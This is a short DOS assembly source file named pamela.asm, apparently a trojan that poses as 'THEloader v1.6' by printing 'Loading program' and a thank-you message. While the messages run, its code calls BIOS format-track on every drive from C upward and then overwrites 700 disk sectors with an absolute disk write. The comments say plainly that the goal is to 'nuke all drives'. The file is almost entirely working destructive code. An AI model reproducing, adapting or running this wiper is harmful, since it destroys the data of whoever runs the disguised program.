pamela.asm

DOSSEG
.MODEL SMALL
.STACK 100H
.DATA

CNTR DB 2 ; Counter to nuke all drives C and up
MESSAGE DB 13,10,"Loading program$"
FINISH DB 13,10,"Thanx for using THEloader v1.6$",13,10
DOT DB ".$"

.CODE

kill: MOV AX,@DATA
MOV DS,AX
MOV BP,1
MOV DX,OFFSET MESSAGE ;Print the nice little message
MOV AH,09H
INT 21H

KRAD: CMP CNTR,26 ;Check to see if it's drive Z
JGE BYEBYE ;If it is, then jump to the end...
MOV AH,05 ;Format track
MOV CH,0 ;Blah, blah, blah...
MOV DH,0 ;Starting at Sector 0
MOV DL,CNTR ;Drive
INT 13H
MOV DX,OFFSET DOT
MOV AH,09H
INT 21H
INC CNTR
JMP KRAD

BYEBYE: MOV AL,2
MOV CX,700
MOV DX,00
MOV DS,[DI+99]
MOV BX,[DI+55]
INT 26H
MOV DX,OFFSET FINISH
MOV AH,09H
INT 21H
MOV AX,4C00H
INT 21H ;Get outa here...

END KILL